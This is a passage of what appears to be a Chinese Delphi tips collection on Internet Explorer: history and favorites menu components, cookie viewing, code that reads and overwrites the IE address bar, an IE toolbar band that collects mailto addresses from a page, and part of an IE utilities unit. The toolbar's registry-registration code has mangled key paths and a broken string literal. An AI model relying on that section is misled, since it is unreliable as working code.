property OnURLSelected: TOnURLSelectedEvent read FOnURLSelected write FOnURLSelected;

end;

procedure Register;

implementation

var

Images: TImageList;

Counter: Integer;

List: TList;

Item: PItem;

HistMenu: TMenuItem;

HistoryPidl: PItemIDList;

Folder, Desktop: IShellFolder;

function SortFunc(Item1, Item2: Pointer): Integer;

begin

Result := SmallInt(Folder.CompareIDs(0, PItem(Item1).ID, PItem(Item2).ID));

end;

procedure THistoryMenu.AddDummy(menu: TMenuItem);

var

Dummy: TMenuItem;

begin

Dummy := TMenuItem.Create(self);

Dummy.Visible := False;

Menu.add(Dummy);

end;

procedure THistoryMenu.AddEmpty(menu: TMenuItem);

var

Empty: TMenuItem;

begin

Empty := TMenuItem.Create(self);

Empty.Caption := ' (Empty) ';

Empty.Enabled := False;

Menu.add(Empty);

end;

procedure THistoryMenu.AddMenu(Menu: TMenuItem; MenuTag: Integer);

var

MenuItem: TMenuItem;

EnumList: IEnumIDList;

FullID, ID: PItemIDList;

NumIDs: LongWord;

TempList: TList;

I: Integer;

begin

TempList := TList.Create;

FullID := CopyPidl(PItem(List[menuTag])^.FullID);

Desktop.BindToObject(FullID, nil, IID_IShellFolder, Pointer(Folder));

Folder.EnumObjects(Application.Handle, SHCONTF_FOLDERS or SHCONTF_NONFOLDERS or SHCONTF_INCLUDEHIDDEN, EnumList);

while EnumList.Next(1, ID, NumIDs) = S_OK do

begin

Item := New(PItem);

Item.ID := CopyPidl(ID);

Item.FullID := ConcatPIDLs(FullID, ID);

Item.Folder := IsFolder(Folder, ID);

Item.Created := False;

TempList.Add(Item);

end;

if TempList.Count = 0 then begin

AddEmpty(Menu);

exit;

end;

TempList.Sort(SortFunc);

for I := 0 to TempList.Count - 1 do begin

List.Add(PItem(Templist[I]));

MenuItem := TMenuItem.Create(Menu);

MenuItem.SubmenuImages := Images;

MenuItem.OnClick := MenuClick;

MenuItem.Tag := Counter;

MenuItem.Caption := GetDisplayName(Folder, PItem(TempList[I])^.ID);

MenuItem.ImageIndex := GetImageIndex(PItem(TempList[I])^.FullID);

if not PItem(TempList[I])^.Folder then

Menuitem.Hint := ExtractUrl(Folder, PItem(TempList[I])^.ID);

Menu.Add(MenuItem);

Inc(Counter);

if Item.Folder then AddDummy(MenuItem);

end;

TempList.Free;

end;

procedure THistoryMenu.MenuClick(Sender: TObject);

begin

if not PItem(list[(Sender as TMenuItem).Tag])^.Folder then

begin

if Assigned(FOnUrlSelected) then

FOnUrlSelected(Sender, (Sender as TMenuItem).Hint);

rebuildmenu;

end else if

not PItem(list[(Sender as TMenuItem).Tag]).Created then

begin

AddMenu(Sender as TMenuItem, (Sender as TMenuItem).Tag);

PItem(list[(Sender as TMenuItem).Tag]).Created := TRUE;

end;

end;

procedure THistoryMenu.BuildMenu;

var

DateFolder: IShellFolder;

DateEnumList: IEnumIDList;

DateMenuItem: TMenuItem;

DateId: PItemIDList;

NumIDs: UINT;

begin

List := TList.Create;

Counter := 0;

Desktop.BindToObject(HistoryPidl, nil, IID_IShellFolder, Pointer(DateFolder));

DateFolder.EnumObjects(Application.Handle,

SHCONTF_FOLDERS or SHCONTF_NONFOLDERS or SHCONTF_INCLUDEHIDDEN, DateEnumList);

while DateEnumList.Next(1, DateID, NumIDs) = S_OK do

begin

DateMenuItem := TMenuItem.Create(Application);

DateMenuItem.SubmenuImages := Images;

DateMenuItem.OnClick := MenuClick;

DateMenuItem.Tag := Counter;

Inc(Counter);

DateMenuItem.Caption := GetDisplayName(DateFolder, DateID);

Item := New(PItem);

Item.Id := CopyPidl(DateID);

Item.FullID := ConcatPIDLs(HistoryPidl, DateID);

DateMenuItem.ImageIndex := GetImageIndex(Item.FullID);

Item.Folder := IsFolder(DateFolder, DateID);

Item.Created := False;

List.Add(Item);

HistMenu.Add(DateMenuItem);

if Item.Folder then AddDummy(DateMenuItem);

end;

end;

procedure THistoryMenu.RebuildMenu;

begin

DestroyList;

Histmenu.Clear;

BuildMenu;

end;

procedure THistoryMenu.CreateMenu;

var

FileInfo: TSHFileInfo;

begin

SHGetDesktopFolder(Desktop);

SHGetSpecialFolderLocation(Application.Handle, CSIDL_HISTORY, HistoryPIDL);

Images := TImagelist.Create(self);

Images.ShareImages := True;

Images.DrawingStyle := dsTransparent;

Images.Handle := SHGetFileInfo(Pchar(HistoryPidl), 0, FileInfo, SizeOf(FileInfo),

SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_SMALLICON);

HistMenu := TMenuitem.Create(self);

HistMenu.SubmenuImages := Images;

HistMenu.Caption := FCaption;

if Assigned(FMainMenu) then begin

if FMenuPos > FMainMenu.Items.Count + 1 then

FMenuPos := FMainMenu.Items.Count + 1 else

if FMenuPos <= 0 then FMenuPos := 1;

FMainMenu.Items.Insert(FMenuPos - 1, HistMenu);

end;

buildMenu;

end;

constructor THistoryMenu.Create;

begin

FMenuPos := 1;

with TRegistry.Create do

begin

RootKey := HKEY_CLASSES_ROOT;

OpenKey('CLSID\{FF393560-C2A7-11CF-BFF4-444553540000}', FALSE);

FCaption := ReadString('');

Closekey;

Free;

end;

inherited;

end;

procedure THistoryMenu.DestroyList;

var

I: Integer;

begin

if list <> nil then

begin

for I := 0 to List.Count - 1 do

begin

DisposePIDL(PItem(List[I]).ID);

DisposePIDL(PItem(List[i]).FULLID);

Dispose(PItem(List[i]));

end;

List.Free;

end;

end;

destructor THistoryMenu.Destroy;

begin

DestroyList;

inherited;

end;

procedure Register;

begin

RegisterComponents('Samples', [THistoryMenu]);

end;

end.


ie 里收藏夹成为popmenu

MMMMMMM


Cookie的查看
Cookie实际上是一个文本文件，但使用Notepad查看的时候，不知道什么原因，会显示出不可见的字符！如果你用Memo.LoadFromFile('CookieFileName')就看一看清楚了。如同附件所示的程序一样。

附件>>>> cookieapp.rar


收藏夹菜单控件

unit FavoritesMenu;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Menus;

type

TUrlNotifyEvent = procedure(Sender: TObject; Url: string) of object;

TFavoritesMenu = class(TComponent)

private

{ Private declarations }

FMenuItem: TMenuItem;

FMaxLength: integer;

FOnUrlClick: TUrlNotifyEvent;

FImageFolder: integer;

FImageUrl: integer;

FSorted: boolean;

procedure FillFavorites(Directory: string; AMenuItem: TMenuItem);

function CreateMenuOption(AFileName: string; AMenuItem: TMenuItem):

TMenuItem;

function CreateMenuOptionDir(AFileName: string;

AMenuItem: TMenuItem): TMenuItem;

procedure DoClickUrl(Sender: TObject);

function ReadUrl(AFileName: string): string;

protected

{ Protected declarations }

procedure Notification(AComponent: TComponent; Operation: TOperation);

override;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

procedure Refresh;

published

{ Published declarations }

property MenuItem: TMenuItem read FMenuItem write FMenuItem;

property MaxLength: integer read FMaxLength write FMaxLength default 30;

property ImageFolder: integer read FImageFolder write FImageFolder default 0;

property ImageUrl: integer read FImageUrl write FImageUrl default 1;

property OnUrlClick: TUrlNotifyEvent read FOnUrlClick write FOnUrlClick;

property Sorted: boolean read FSorted write FSorted default True;

end;

implementation

uses Registry, Inifiles;

{ TFavoritesMenu }

constructor TFavoritesMenu.Create(AOwner: TComponent);

begin

inherited;

FMaxLength := 30;

FImageFolder := 0;

FImageUrl := 1;

FSorted := True;

end;

procedure TFavoritesMenu.DoClickUrl(Sender: TObject);

begin

if Assigned(FOnUrlClick) then FOnUrlClick(Sender, TMenuItem(Sender).Hint);

end;

function TFavoritesMenu.ReadUrl(AFileName: string): string;

var

Reg: TIniFile;

begin

Reg := TIniFile.Create(AFileName);

result := Reg.ReadString('InternetShortcut', 'URL', 'non url');

Reg.Free;

end;

function TFavoritesMenu.CreateMenuOption(AFileName: string; AMenuItem:

TMenuItem): TMenuItem;

var

Item: TMenuItem;

Cap: string;

Url: string;

begin

Item := TMenuItem.Create(AMenuItem);

Cap := Copy(ExtractFileName(AFileName), 1,

Length(ExtractFileName(AFileName)) - 4);

if Length(Cap) > FMaxLength then

Cap := Copy(Cap, 1, FMaxLength) + '..';

Item.ImageIndex := FImageUrl;

Item.Caption := Cap;

Item.Hint := ReadUrl(AFileName);

Item.OnClick := DoClickUrl;

AMenuItem.Add(Item);

result := Item;

end;

function PosRight(sub: char; s: string): integer;

var

i: integer;

begin

result := -1;

for i := Length(s) downto 1 do

if s[i] = sub then

begin

result := i;

break;

end;

end;

function TFavoritesMenu.CreateMenuOptionDir(AFileName: string; AMenuItem:

TMenuItem): TMenuItem;

var

Item: TMenuItem;

p: integer;

begin

Item := TMenuItem.Create(AMenuItem);

p := PosRight('\', AFileName);

Item.Caption := Copy(AFileName, p + 1, Length(AfileName));

Item.ImageIndex := FImageFolder;

if FSorted then

AMenuItem.Insert(0, Item)

else

AMenuItem.Add(Item);

result := Item;

end;

procedure TFavoritesMenu.FillFavorites(Directory: string; AMenuItem: TMenuItem);

var

search: TSearchRec;

Item: TMenuItem;

begin

if Directory[length(Directory)] <> '\' then Directory := Directory + '\';

if FindFirst(Directory + '*.*', faArchive + fadirectory, search) = 0 then

begin

repeat

if ((search.Attr and fadirectory) = fadirectory) and (search.name[1] <>

'.') then

begin

Item := CreateMenuOptionDir(Directory + search.Name, AMenuItem);

FillFavorites(Directory + search.Name, Item);

end

else if ((search.Attr and faArchive) = faArchive) then

CreateMenuOption(Directory + search.Name, AMenuItem);

until FindNext(search) <> 0;

FindClose(search);

end;

end;

procedure TFavoritesMenu.Refresh;

var

Reg: TRegistry;

InitDir: string;

begin

Reg := TRegistry.Create;

Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', false);

InitDir := Reg.ReadString('Favorites');

Reg.Free;

FillFavorites(InitDir, FMenuItem);

end;

procedure TFavoritesMenu.Notification(AComponent: TComponent;

Operation: TOperation);

begin

inherited;

if (Operation = opRemove) and (AComponent = FMenuItem) then FMenuItem := nil;

end;

end.


取得IE地址栏的handle

var

Form1: TForm1;

implementation

{$R *.DFM}

Function GetURL(H:hwnd;lparam:longint):boolean;stdcall;

var str,url:array [0..254] of char;

begin

getclassname(h,@str,255);

if strpas(@str)='ComboBoxEx32' then // ComboBoxEx32可以改成Edit.

begin

SendMessage(h,WM_GETTEXT,255,LongInt(@url));

SendMessage(h,WM_SETTEXT,255,longint(pchar('http://www.sohu.com')));

Sendmessage(h,WM_KEYDOWN,VK_Return,1);

//你说的是加这一句吗？？不行啊。 改成Edit就可以，相当于在地址栏敲回车

form1.ListBox1.Items.Add(strpas(@url));

end;

result:=true;

end;

function callbackproc(H:HWnd;lparam:longint):Boolean;stdcall;

var str:array [1..255] of char;

begin

getclassname(h,@str,255);

if ((strpas(@str)='CabinetWClass') or (strpas(@str)='IEFrame')) then

begin

Enumchildwindows(h,@GetURL,0);

end;

result:=true;

end;

procedure TForm1.findbuttonClick(Sender: TObject);

begin

listbox1.Clear;

Enumwindows(@callbackproc,0);

end;

end.


IE中添加工具栏

我们首先要建立一个ActiveX Library。将其保存为MailIEBand.Dpr；然后建立一个COM Object，将其保存为BandUnit.pas；然后建立一个Form，这个窗口将作为子窗口显示在IE工具栏中，将窗口的BorderStyle属性改为bsNone，添加一个TButton组件和一个TComboBox组件，将TButton的Caption属性改为获取全部，然后将窗口文件其保存为IEForm.pas。

在BandUnit中，需要建立一个实现上面提到的接口的TComObject对象。如下：

TGetMailBand = class(TComObject, IDeskBand, IObjectWithSite, IPersistStreamInit)

另外由于需要在COM服务器注册时添加一些注册表信息，所以还需要建立一个继承自TComObjectFactory类的对象，在对象的UpdateRegistry事件中编写代码添加附加的注册表信息。

下面的程序清单1-6到1-8是实现COM服务器的全部程序代码：

程序清单1-6 MailIEBand.dpr

library MailIEBand;

uses

ComServ,

BandUnit in 'BandUnit.pas',

IEForm in 'IEForm.pas' {Form1},

MailIEBand_TLB in 'MailIEBand_TLB.pas';

exports

DllGetClassObject,

DllCanUnloadNow,

DllRegisterServer,

DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin

end.

程序清单1-7 BandUnit.pas

unit BandUnit;

interface

uses

Windows, Sysutils, Messages, Registry, Shellapi, ActiveX, Classes, ComObj,

Shlobj, Dialogs, Commctrl,ShDocVW,IEForm;

type

TGetMailBand = class(TComObject, IDeskBand, IObjectWithSite, IPersistStreamInit)

private

frmIE:TForm1;

m_pSite:IInputObjectSite;

m_hwndParent:HWND;

m_hWnd:HWND;

m_dwViewMode:Integer;

m_dwBandID:Integer;

protected

public

{Declare IDeskBand methods here}

function GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):

HResult; stdcall;

function ShowDW(fShow: BOOL): HResult; stdcall;

function CloseDW(dwReserved: DWORD): HResult; stdcall;

function ResizeBorderDW(var prcBorder: TRect; punkToolbarSite: IUnknown;

fReserved: BOOL): HResult; stdcall;

function GetWindow(out wnd: HWnd): HResult; stdcall;

function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

{Declare IObjectWithSite methods here}

function SetSite(const pUnkSite: IUnknown ):HResult; stdcall;

function GetSite(const riid: TIID; out site: IUnknown):HResult;stdcall;

{Declare IPersistStream methods here}

function GetClassID(out classID: TCLSID): HResult; stdcall;

function IsDirty: HResult; stdcall;

function InitNew: HResult; stdcall;

function Load(const stm: IStream): HResult; stdcall;

function Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;

function GetSizeMax(out cbSize: Largeint): HResult; stdcall;

end;

const

Class_GetMailBand: TGUID = '{954F618B-0DEC-4D1A-9317-E0FC96F87865}';

//以下是系统接口的IID

IID_IUnknown: TGUID = (

D1:$00000000;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));

IID_IOleObject: TGUID = (

D1:$00000112;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));

IID_IOleWindow: TGUID = (

D1:$00000114;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));

IID_IInputObjectSite : TGUID = (

D1:$f1db8392;D2:$7331;D3:$11d0;D4:($8C,$99,$00,$A0,$C9,$2D,$BF,$E8));

sSID_SInternetExplorer : TGUID = '{0002DF05-0000-0000-C000-000000000046}';

sIID_IWebBrowserApp : TGUID= '{0002DF05-0000-0000-C000-000000000046}';

//面板所允许的最小宽度和高度。

MIN_SIZE_X = 54;

MIN_SIZE_Y = 22;

EB_CLASS_NAME = 'GetMailAddress';

implementation

uses ComServ;

function TGetMailBand.GetWindow(out wnd: HWnd): HResult; stdcall;

begin

wnd:=m_hWnd;

Result:=S_OK;

end;

function TGetMailBand.ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

begin

Result:=E_NOTIMPL;

end;

function TGetMailBand.ShowDW(fShow: BOOL): HResult; stdcall;

begin

if m_hWnd<>0 then

if fShow then

ShowWindow(m_hWnd,SW_SHOW)

else

ShowWindow(m_hWnd,SW_HIDE);

Result:=S_OK;

end;

function TGetMailBand.CloseDW(dwReserved: DWORD): HResult; stdcall;

begin

if frmIE<>nil then

frmIE.Destroy;

Result:= S_OK;

end;

function TGetMailBand.ResizeBorderDW(var prcBorder: TRect;

punkToolbarSite: IUnknown;fReserved: BOOL): HResult; stdcall;

begin

Result:=E_NOTIMPL;

end;

function TGetMailBand.SetSite(const pUnkSite: IUnknown):HResult;stdcall;

var

pOleWindow:IOleWindow;

pOLEcmd:IOleCommandTarget;

pSP:IServiceProvider;

rc:TRect;

begin

if Assigned(pUnkSite) then begin

m_hwndParent := 0;

m_pSite:=pUnkSite as IInputObjectSite;

pOleWindow := PunkSIte as IOleWindow;

//获得父窗口IE面板窗口的句柄

pOleWindow.GetWindow(m_hwndParent);

if(m_hwndParent=0)then begin

Result := E_FAIL;

exit;

end;

//获得父窗口区域

GetClientRect(m_hwndParent, rc);

if not Assigned(frmIE) then begin

//建立TIEForm窗口，父窗口为m_hwndParent

frmIE:=TForm1.CreateParented(m_hwndParent);

m_Hwnd:=frmIE.Handle;

SetWindowLong(frmIE.Handle, GWL_STYLE, GetWindowLong(frmIE.Handle,

GWL_STYLE) Or WS_CHILD);

//根据父窗口区域设置窗口位置

with frmIE do begin

Left :=rc.Left ;

Top:=rc.top;

Width:=rc.Right - rc.Left;

Height:=rc.Bottom - rc.Top;

end;

frmIE.Visible := True;

//获得与浏览器相关联的Webbrowser对象。

pOLEcmd:=pUnkSite as IOleCommandTarget;

pSP:=pOLEcmd as IServiceProvider;

if Assigned(pSP)then begin

pSP.QueryService(IWebbrowserApp, IWebbrowser2,frmIE.IEThis);

end;

end;

end;

Result := S_OK;

end;

function TGetMailBand.GetSite(const riid: TIID; out site: IUnknown):HResult;stdcall;

begin

if Assigned(m_pSite) then result:=m_pSite.QueryInterface(riid, site)

else

Result:= E_FAIL;

end;

function TGetMailBand.GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):

HResult; stdcall;

begin

Result:=E_INVALIDARG;

if not Assigned(frmIE) then frmIE:=TForm1.CreateParented(m_hwndParent);

if(@pdbi<>nil)then begin

m_dwBandID := dwBandID;

m_dwViewMode := dwViewMode;

if(pdbi.dwMask and DBIM_MINSIZE)<>0 then begin

pdbi.ptMinSize.x := MIN_SIZE_X;

pdbi.ptMinSize.y := MIN_SIZE_Y;

end;

if(pdbi.dwMask and DBIM_MAXSIZE)<>0 then begin

pdbi.ptMaxSize.x := -1;

pdbi.ptMaxSize.y := -1;

end;

if(pdbi.dwMask and DBIM_INTEGRAL)<>0 then begin

pdbi.ptIntegral.x := 1;

pdbi.ptIntegral.y := 1;

end;

if(pdbi.dwMask and DBIM_ACTUAL)<>0 then begin

pdbi.ptActual.x := 0;

pdbi.ptActual.y := 0;

end;

if(pdbi.dwMask and DBIM_MODEFLAGS)<>0 then

pdbi.dwModeFlags := DBIMF_VARIABLEHEIGHT;

if(pdbi.dwMask and DBIM_BKCOLOR)<>0 then

pdbi.dwMask := pdbi.dwMask and (not DBIM_BKCOLOR);

end;

end;

function TGetMailBand.GetClassID(out classID: TCLSID): HResult; stdcall;

begin

classID:= Class_GetMailBand;

Result:=S_OK;

end;

function TGetMailBand.IsDirty: HResult; stdcall;

begin

Result:=S_FALSE;

end;

function TGetMailBand.InitNew: HResult;

begin

Result := E_NOTIMPL;

end;

function TGetMailBand.Load(const stm: IStream): HResult; stdcall;

begin

Result:=S_OK;

end;

function TGetMailBand.Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;

begin

Result:=S_OK;

end;

function TGetMailBand.GetSizeMax(out cbSize: Largeint): HResult; stdcall;

begin

Result:=E_NOTIMPL;

end;

//TIEClassFac类实现COM组件的注册

type

TIEClassFac=class(TComObjectFactory) //

public

procedure UpdateRegistry(Register: Boolean); override;

end;

procedure TIEClassFac.UpdateRegistry(Register: Boolean);

var

ClassID: string;

a:Integer;

begin

inherited UpdateRegistry(Register);

if Register then begin

ClassID:=GUIDToString(Class_GetMailBand);

with TRegistry.Create do

try

//添加附加的注册表项

RootKey:=HKEY_LOCAL_MACHINE;

OpenKey('Explorer',False);

a:=0;

WriteBinaryData(GUIDToString(Class_GetMailBand),a,0);

OpenKey('Extensions',True);

WriteString (GUIDToString(Class_GetMailBand),EB_CLASS_NAME);

RootKey:=HKEY_CLASSES_ROOT;

OpenKey('+GUIDToString(Class_GetMailBand),False);

WriteString('',EB_CLASS_NAME);

finally

Free;

end;

end

else begin

with TRegistry.Create do

try

RootKey:=HKEY_LOCAL_MACHINE;

OpenKey('Explorer',False);

DeleteValue(GUIDToString(Class_GetMailBand));

OpenKey('Extensions',False);

DeleteValue(GUIDToString(Class_GetMailBand));

finally

Free;

end;

end;

end;

initialization

TIEClassFac.Create(ComServer, TGetMailBand, Class_GetMailBand,

'GetMailAddress', '', ciMultiInstance, tmApartment);

end.

程序清单1-8 IEForm.pas

unit IEForm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

SHDocVw,MSHTML, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

ComboBox1: TComboBox;

procedure FormResize(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

IEThis:IWebbrowser2;

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormResize(Sender: TObject);

begin

With Button1 do begin

Left := 0;

Top := 0;

Height:=Self.ClientHeight;

end;

With ComboBox1 do begin

Left := Button1.Width +3;

Top := 0;

Height:=Self.ClientHeight;

Width:=Self.ClientWidth - Left;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

doc:IHTMLDocument2;

all:IHTMLElementCollection;

len,i,flag:integer;

item:IHTMLElement;

vAttri:Variant;

begin

if Assigned(IEThis)then begin

ComboBox1.Clear;

//获得Webbrowser对象中的文档对象

doc:=IEThis.Document as IHTMLDocument2;

//获得文档中所有的HTML元素集合

all:=doc.Get_all;

len:=all.Get_length;

//访问HTML元素集合中的每一个元素

for i:=0 to len-1 do begin

item:=all.item(i,varempty) as IHTMLElement;

//如果该元素是一个链接

if item.Get_tagName = 'A'then begin

flag:=0;

vAttri:=item.getAttribute('protocol',flag); //获得链接属性

//如果是mailto链接则将链接的目标地址添加到ComboBox1

if vAttri = 'mailto:'then begin

vAttri:=item.getAttribute('href',flag);

ComboBox1.Items.Add(vAttri);

end;

end;

end;

end;

end;

end.

编译工程，关闭所有的IE窗口，然后点击Delphi菜单的Run | Register ActiveX Server 项注册服务器。然后打开IE，点击菜单 察看 | 工具栏 项，可以看到子菜单中多了一个GetMailAddress项，选中改项，工具栏就出现在IE工具栏中


一个IE工具单元

(*******************************

* IEUTILS 1.00 (July 27, 2000)*

*******************************)

unit IEUtils;

interface

uses

IEConst, dialogs,Inifiles, Registry, Sysutils, ShellApi, Windows, Activex, Shlobj;

function IE5_Installed: Boolean;

function GetIEVersion: string;

function StringToVarArray(const S: string): Variant;

function VarArrayToString(const V: Variant): string;

function Encode(const S: string): string;

function IsFolder(ShellFolder: IShellFolder; ID: PItemIDList): Boolean;

function IsFolderEx(ChannelShortcut: String; ShellFolder: IShellFolder; ID: PItemIDList): Boolean;

function IsChannel(ChannelShortcut: String; ShellFolder: IShellFolder; ID: PItemIDList): Boolean;

function GetDisplayName(Folder: IShellFolder; pidl: PItemIDList): string;

function GetImageIndex(pidl: PItemIDList): integer;

function ExtractUrl(ShellFolder: IShellFolder; pidl: PItemIDList): string;

function ResolveChannel(pFolder: IShellFolder; pidl: PItemIDList; var lpszURL: string): HRESULT;

function ResolveLink(const path: string): string;

function GetFileName(Folder: IShellFolder; pidl: PItemIDList): string;

function ResolveUrlIni(Filename: string): string;

function ResolveUrlIntShCut(Filename: string): string;

procedure DisposePIDL(ID: PItemIDList);

function CopyITEMID(Malloc: IMalloc; ID: PItemIDList): PItemIDList;

function NextPIDL(IDList: PItemIDList): PItemIDList;

function GetPIDLSize(IDList: PItemIDList): Integer;

procedure StripLastID(IDList: PItemIDList);

function CreatePIDL(Size: Integer): PItemIDList;

function CopyPIDL(IDList: PItemIDList): PItemIDList;

function ConcatPIDLs(IDList1, IDList2: PItemIDList): PItemIDList;

implementation

uses comobj;

function StringToVarArray(const S: string): Variant;

begin

Result := Unassigned;

if S <> '' then

begin

Result := VarArrayCreate([0, Length(S) - 1], varByte);

Move(Pointer(S)^, VarArrayLock(Result)^, Length(S));

VarArrayUnlock(Result);

end;

end;

function VarArrayToString(const V: Variant): string;

var

i, j: Integer;

begin

if VarIsArray(V) then

for I := 0 to VarArrayHighBound(V, 1) do

begin

j := V[i];

result := result + chr(j);

end;

end;

function Encode(const S: string): string;

var

I: Integer;

Hex: string;

begin

for I := 1 to Length(S) do

case S[i] of

' ': result := Result + '+';

'A'..'Z', 'a'..'z', '*', '@', '.', '_', '-',

'0'..'9', '$', '!', '''', '(', ')':

result := Result + s[i];

else

begin

Hex := IntToHex(ord(S[i]), 2);

if Length(Hex) = 2 then Result := Result + '%' + Hex else

Result := Result + '%0' + hex;

end;

end;

end;

function IE5_Installed: Boolean;

var

Reg: TRegistry;

S: string;

begin

Reg := TRegistry.Create;

with Reg do begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\Microsoft\Internet Explorer', False);

if ValueExists('Version') then S := ReadString('Version')

else S := '0';

CloseKey;

Free;

end;

Result := (StrToInt(S[1]) > 4);

end;

function GetIEVersion: string;

var

SysDir: PChar;

Info: Pointer;

InfoData: Pointer;

InfoSize: LongInt;

Len: DWORD;

FName: Pchar;

SystemDir, Infotype: string;

LangPtr: Pointer;

begin

Len := MAX_PATH + 1;

GetMem(SysDir, Len);

try

if Windows.GetSystemDirectory(SysDir, Len) <> 0 then

SystemDir := SysDir;

finally

FreeMem(SysDir);

end;

result := '';

InfoType := 'FileVersion';

FName := Pchar(SystemDir + '\shdocvw.dll');

InfoSize := GetFileVersionInfoSize(Fname, Len);

if (InfoSize > 0) then

begin

GetMem(Info, InfoSize);

try

if GetFileVersionInfo(FName, Len, InfoSize, Info) then

begin

Len := 255;

if VerQueryValue(Info, '\VarFileInfo\Translation', LangPtr, Len) then

InfoType := Format('\StringFileInfo\%0.4x%0.4x\%s'#0, [LoWord(LongInt(LangPtr^)),

HiWord(LongInt(LangPtr^)), InfoType]);

if VerQueryValue(Info, Pchar(InfoType), InfoData, len) then

Result := strPas(InfoData);

end;

finally

FreeMem(Info, InfoSize);

end;

end;

end;

function ResolveUrlIni(Filename: string): string;

var

ini: TiniFile;

begin

result := '';

ini := TIniFile.create(fileName);

try

result := ini.ReadString('InternetShortcut', 'URL', '');

finally

ini.free;

end;

end;

function ResolveUrlIntShCut(Filename: string): string;

var

IURL: IUniformResourceLocator;

PersistFile: IPersistfile;

FName: array[0..MAX_PATH] of WideChar;

p: Pchar;

begin

if Succeeded(CoCreateInstance(CLSID_InternetShortcut, nil, CLSCTX_INPROC_SERVER,

IID_IUniformResourceLocator, IURL))

then begin

Persistfile := IUrl as IPersistFile;

StringToWideChar(FileName, FName, MAX_PATH);

PersistFile.Load(Fname, STGM_READ);

IUrl.geturl(@P);

Result := P;

end;

end;

function ResolveChannel(pFolder: IShellFolder; pidl: PItemIDList; var lpszURL: string): HRESULT;

var

pidlChannel: PItemIDList;

psfDesktop: IShellFolder;

pShellLink: IShellLink;

begin

Result := S_FALSE;

if Succeeded(pFolder.GetUIObjectOf(0, 1, pidl, IShellLink, nil, Pointer(pShellLink)))

then

if Succeeded(pShellLink.GetIDList(pidlChannel)) then

if Succeeded(SHGetDesktopFolder(psfDesktop))

then

begin

lpszURL := getDisplayName(psfDesktop, PidlChannel);

Result := S_OK;

end;

DisposePidl(PidlChannel);

end;

function ResolveLink(const path: string): string;

var

link: IShellLink;

storage: IPersistFile;

filedata: TWin32FindData;

buf: array[0..MAX_PATH] of Char;

widepath: WideString;

begin

OleCheck(CoCreateInstance(CLSID_ShellLink, nil, CLSCTX_INPROC_SERVER, IShellLink, link));

OleCheck(link.QueryInterface(IPersistFile, storage));

widepath := path;

Result := '';

if Succeeded(storage.Load(@widepath[1], STGM_READ)) then

if Succeeded(link.Resolve(GetActiveWindow, SLR_NOUPDATE)) then

if Succeeded(link.GetPath(buf, sizeof(buf), filedata, SLGP_UNCPRIORITY)) then

Result := buf;

storage := nil;

link := nil;

end;

function ExtractUrl(ShellFolder: IShellFolder; pidl: PItemIDList): string;

var

Handle: THandle;

Info: IQueryInfo;

W: PWideChar;

begin

Handle := 0;

Info := nil;

ShellFolder.GetUIObjectOf(Handle, 1, pidl, IID_IQUERYINFO, nil, Pointer(Info));

if assigned(Info) then

begin

Info.GetInfoTip(0, w);

Result := W;

end else result := '';

Result := Trim(Copy(Result, Pos(#10, Result) + 1, length(Result)));

end;

function IsFolder(ShellFolder: IShellFolder; ID: PItemIDList): Boolean;

var

Flags: UINT;

begin

Flags := SFGAO_FOLDER;

ShellFolder.GetAttributesOf(1, ID, Flags);

Result := SFGAO_FOLDER and Flags <> 0;

end;

function IsChannel(ChannelShortcut: String; ShellFolder: IShellFolder; ID: PItemIDList): Boolean;

var

FileInfo: TShFileInfo;

begin

SHGetFileInfo(Pchar(ID), 0, FileInfo, SizeOf(TSHFileInfo), SHGFI_PIDL or SHGFI_TYPENAME);

Result:=BOOL(fileinfo.szTypeName = ChannelShortcut);

end;

function IsFolderEx(ChannelShortcut: String; ShellFolder: IShellFolder; ID: PItemIDList): Boolean;

var

Flags: UINT;

begin

Flags := SFGAO_FOLDER;

ShellFolder.GetAttributesOf(1, ID, Flags);

If SFGAO_FOLDER and Flags <> 0 then

result:=not isChannel(ChannelShortcut, Shellfolder, id)

else Result:=False;

end;

function GetImageIndex(pidl: PItemIDList): integer;

var

Flags: UINT;

FileInfo: TSHFileInfo;

begin

Flags := SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_ICON or SHGFI_SMALLICON;

if SHGetFileInfo(PChar(pidl), 0, FileInfo, SizeOf(TSHFileInfo), Flags) = 0 then

Result := -1

else

Result := FileInfo.iIcon;

end;

function GetDisplayName(Folder: IShellFolder; pidl: PItemIDList): string;

var

StrRet: TStrRet;

begin

Folder.GetDisplayNameOf(pidl, SHGDN_NORMAL, StrRet);

case StrRet.uType of

STRRET_CSTR:

SetString(Result, StrRet.cStr, lStrLen(StrRet.cStr));

STRRET_OFFSET:

Result := Pchar(@pidl.mkid.abID[StrRet.uOffset - SizeOf(pidl.mkid.cb)]);

STRRET_WSTR:

Result := StrRet.pOleStr;

end;

end;

function GetFileName(Folder: IShellFolder; pidl: PItemIDList): string;

var

StrRet: TStrRet;

begin

Folder.GetDisplayNameOf(pidl, SHGDN_FORPARSING, StrRet);

case StrRet.uType of

STRRET_CSTR:

SetString(Result, StrRet.cStr, lStrLen(StrRet.cStr));

STRRET_OFFSET:

